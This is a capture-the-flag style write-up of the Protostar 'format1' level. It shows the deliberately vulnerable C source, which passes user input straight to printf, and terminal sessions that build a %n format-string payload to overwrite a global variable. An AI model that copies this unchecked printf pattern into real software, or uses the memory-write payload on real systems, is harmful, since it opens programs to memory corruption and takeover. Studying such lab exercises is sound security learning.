PROTOSTAR : FORMAT 1

SOURCE CODE

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
```

DEBUGGING STARTS

The program takes command line input and I passed %x to check whether it prints stack addresses in hex format and we can see it does. Our objective to change the value of the **target** variable, anything but zero.

```
user@protostar:/opt/protostar/bin$ ./format1 %x.%x.%x.%x.%x.
804960c.bffff7d8.8048469.b7fd8304.b7fd7ff4.user@protostar:/opt/protostar/bin$
```

To change the **target** value we need to get the address first. The variable is global and uninitialized so its located in the **.bss section** of the binary. We can use the below command to find the **target** address.

```
user@protostar:/opt/protostar/bin$ objdump -t format1 | grep "target"
08049638 g     O .bss   00000004              target
user@protostar:/opt/protostar/bin$
```

We need to use the **%n specifier** write to memory address. It calculates the number of bytes written so far and writes the value of bytes to the adjacent memory address.

Before doing all that we need to find the padding first which is pretty tricky in this level because the stack randomizes every time so don't change the padding string too much or you will face problems with stack alignment.

I have shared the screenshot below of how I solved the level and it also shows the padding but it maybe different for you so adapt by trial and error procedure.

```
user@protostar:/opt/protostar/bin$ ./format1 $(python -c "print b'A'*4 + '\x38\x96\x04\x08' + b'B'*36 + '%x.'*128 + '%x.'")
AAAA8BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB804960c.bffff638.8048469.b7fd8304.b7fd7ff4.bffff638.8048435.bffff800.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6b8.b7eadc76.2.bffff6e4.bffff6f0.b7fe1848.bffff6a0.ffffffff
a0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6b8.8798d1cb.adcc27db.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6e4.8048450.8048440.b7ff1040.bffff6dc.b7fff8f8.2.bffff7f6.bf
.bffff9d2.bffff9f4.bffffa07.bffffa11.bffff01.bffff3f.bffff53.bffff6a.bffff7b.bffff83.bffff93.bffffa0.bffffd4.bffffe0.0.20.b7fe2414.21.b7fe2000.10.178bfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.
9.e.3e9.17.1.19.bffff7db.1f.bffffff2.f.bffff7eb.0.0.0.cb000000.28f8cde9.e25a3c3a.a19ebe61.69555d1e.363836.0.2f2e0000.6d726f66.317461.41414141.8049638.user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$ ./format1 $(python -c "print b'A'*4 + '\x38\x96\x04\x08' + b'B'*36 + '%x.'*128 + '%n.'")
AAAA8BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB804960c.bffff638.8048469.b7fd8304.b7fd7ff4.bffff638.8048435.bffff800.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6b8.b7eadc76.2.bffff6e4.bffff6f0.b7fe1848.bffff6a0.ffffffff
a0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6b8.fbfc70b8.d1a886a8.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6e4.8048450.8048440.b7ff1040.bffff6dc.b7fff8f8.2.bffff7f6.bf
.bffff9d2.bffff9f4.bffffa07.bffffa11.bffff01.bffff3f.bffff53.bffff6a.bffff7b.bffff83.bffff93.bffffa0.bffffd4.bffffe0.0.20.b7fe2414.21.b7fe2000.10.178bfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.
9.e.3e9.17.1.19.bffff7db.1f.bffffff2.f.bffff7eb.0.0.0.23000000.78af4c09.69e38208.838c5b9e.69aed0e9.363836.0.2f2e0000.6d726f66.317461.41414141..you have modified the target :)
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
```